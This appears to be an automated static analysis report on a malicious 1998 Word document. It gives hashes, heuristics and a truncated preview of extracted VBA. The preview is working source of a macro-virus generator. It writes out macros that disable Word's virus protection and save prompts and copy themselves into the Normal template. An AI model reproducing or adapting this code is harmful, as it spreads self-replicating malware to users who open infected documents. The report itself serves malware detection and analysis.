Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 792e02ac8f62d0f4…

MALICIOUS

Office (OLE)

202.0 KB Created: 1998-06-27 13:38:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8ca0e25aaea3345ba996469118628628 SHA-1: 925c189f595ce10702478ee41ba4ab48fbb57dcc SHA-256: 792e02ac8f62d0f4bc6df893f4d1fbf9fdf47ec6c1446d3418a89ac25dc0a043
300 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The presence of legacy WordBasic and VBA macros, specifically AutoOpen and Auto_Close, strongly indicates malicious intent. The heuristic 'SE_PASSWORD_ARCHIVE_LURE' suggests a common tactic of using password-protected archives to evade gateway scanning, implying a multi-stage infection. The ClamAV detection 'Win.Tool.W97M-6' further confirms the malicious nature of the file.

Heuristics 6

  • ClamAV: Win.Tool.W97M-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Tool.W97M-6
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 89382 bytes
SHA-256: 7bf2193201a0fc086d2dea8091bca5970d35343e1f24d794de2fa8fefe25400e
Detection
ClamAV: Win.Tool.W97M-6
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Compilation"
Attribute VB_Base = "0{32BDE8EC-0DD4-11D2-9DFF-EC0507C10000}{32BDE7E4-0DD4-11D2-9DFF-EC0507C10000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public ChargeCK As String
Public AssTitre As String
Public AssMess As String
Public MDP As String
Public ChMess As String
Public ChTitre As String
Public Titre3 As String
Public Message3 As String
Public Titre2 As String
Public Message2 As String
Public Titre1 As String
Public Message1 As String
Public MacroNM As String
Public MacroDOC As String
Public VirName As String
Public Fichier As String
Private Sub CommandButton1_Click()
Fichier = Wordbasic.[GetPrivateProfileString$]("FileName", "Fichier", "ZMK98MVCK")
VirName = Wordbasic.[GetPrivateProfileString$]("FileName", "Nom", "ZMK98MVCK")
MacroDOC = Wordbasic.[GetPrivateProfileString$]("MacroType", "NameDOC", "ZMK98MVCK")
MacroNM = Wordbasic.[GetPrivateProfileString$]("MacroType", "NameMN", "ZMK98MVCK")
Titre1 = Wordbasic.[GetPrivateProfileString$]("Message", "MessMECT", "ZMK98MVCK.INI")
Message1 = Wordbasic.[GetPrivateProfileString$]("Message", "MessMECM", "ZMK98MVCK.INI")
Titre2 = Wordbasic.[GetPrivateProfileString$]("Message", "MessMT", "ZMK98MVCK.INI")
Message2 = Wordbasic.[GetPrivateProfileString$]("Message", "MessMM", "ZMK98MVCK.INI")
ChargeCK = Wordbasic.[GetPrivateProfileString$]("MacroPay", "Nom", "ZMK98MVCK.INI")
Open Fichier For Output As #1
    Print #1, "Attribute VB_Name ="""; VirName; ""
    If ChargeCK <> MacroNM And Wordbasic.[GetPrivateProfileString$]("PayType", "Type", "ZMK98MVCK.INI") <> "0" Or ChargeCK <> MacroDOC And Wordbasic.[GetPrivateProfileString$]("PayType", "Type", "ZMK98MVCK.INI") <> "0" Then
    Print #1, "Sub " & ChargeCK
    Print #1, "Application.EnableCancelKey=wdCancelDisabled"
    Print #1, "Wordbasic.DisableAutoMacros 0"
    Print #1, "Options.VirusProtection = False"
    Print #1, "Options.SaveNormalPrompt = False"
    Print #1, "On Error Goto Bye"
    Print #1, "   Call PayLoad"
    Print #1, "Bye:"
    Print #1, "End Sub"
    End If
    Print #1, "Sub " & MacroNM
    Print #1, "'Virus crée par ZMK98MVCK"
    Print #1, "Application.EnableCancelKey=wdCancelDisabled"
    Print #1, "Wordbasic.DisableAutoMacros 0"
    Print #1, "Options.VirusProtection = False"
    Print #1, "Options.SaveNormalPrompt = False"
    Print #1, "On Error Goto Fin"
    Print #1, "iMacroCount= NormalTemplate.VbProject.VbComponent.Count"
    Print #1, "For i=1 to iMacroCount"
    Print #1, "     if NormalTemplate.VbProject.VbComponent(i).Name ="""; VirName; """ Then"
    Print #1, "              " & VirName & "Installed =-1"
    Print #1, "     EndIf"
    Print #1, "Next i"
    Print #1, "If Not " & VirName & "Installed then"
    Print #1, "      Application.OrganizerCopy Source:=ActiveDocument.FullName,Destination:=NormalTemplate.FullName, Name:="""; VirName; """ ,Object:=wdOrganizerObjectProjectItems"
    If MacroDOC = "AutoOpen" Or MacroDOC = "AutoClose" Then
    Print #1, "Else"
    Print #1, "     Application.OrganizerCopy Source:=NormalTemplate.FullName,Destination:=ActiveDocument.FullName, Name:="""; VirName; """ ,Object:=wdOrganizerObjectProjectItems"
    End If
    Print #1, "EndIf"
    If ChargeCK = MacroNM Then
    Print #1, "Call PayLoad"
    End If
    Print #1, "Fin:"
    Print #1, "End Sub"
    If MacroDOC <> MacroNM Then
    Print #1, "Sub " & MacroDOC
    Print #1, "Application.EnableCancelKey=wdCancelDisabled"
    Print #1, "Wordbasic.DisableAutoMacros 0"
    Print #1, "Options.VirusProtection = False"
    Print #1, "Options.SaveNormalPrompt = False"
    Print #1, "On Error Goto Finish"
    If MacroDOC = "Fil
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.